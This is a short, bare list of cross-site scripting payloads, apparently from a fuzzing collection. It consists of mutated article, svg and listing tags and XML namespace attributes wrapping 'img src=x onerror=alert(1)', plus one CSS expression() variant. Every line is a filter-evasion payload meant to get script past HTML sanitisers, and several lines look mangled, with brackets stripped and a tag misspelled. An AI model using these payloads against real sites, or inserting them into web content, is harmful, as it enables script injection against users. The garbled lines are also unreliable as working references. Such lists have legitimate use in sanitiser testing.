article xmlns="x:img src=x onerror=alert(1) "

img src=x onerror=alert(1) :article xmlns="x:img src=x onerror=alert(1) "/img src=x onerror=alert(1) :article

article xmlns="img src=x onerror=alert(1)"/article

p style="font-family:'223bx:expression(alert(1))/*'"

svfstyle&ltimg src=x onerror=alert(1)&gt/sg

listing&ltimg src=x onerror=alert(1)&gt/listing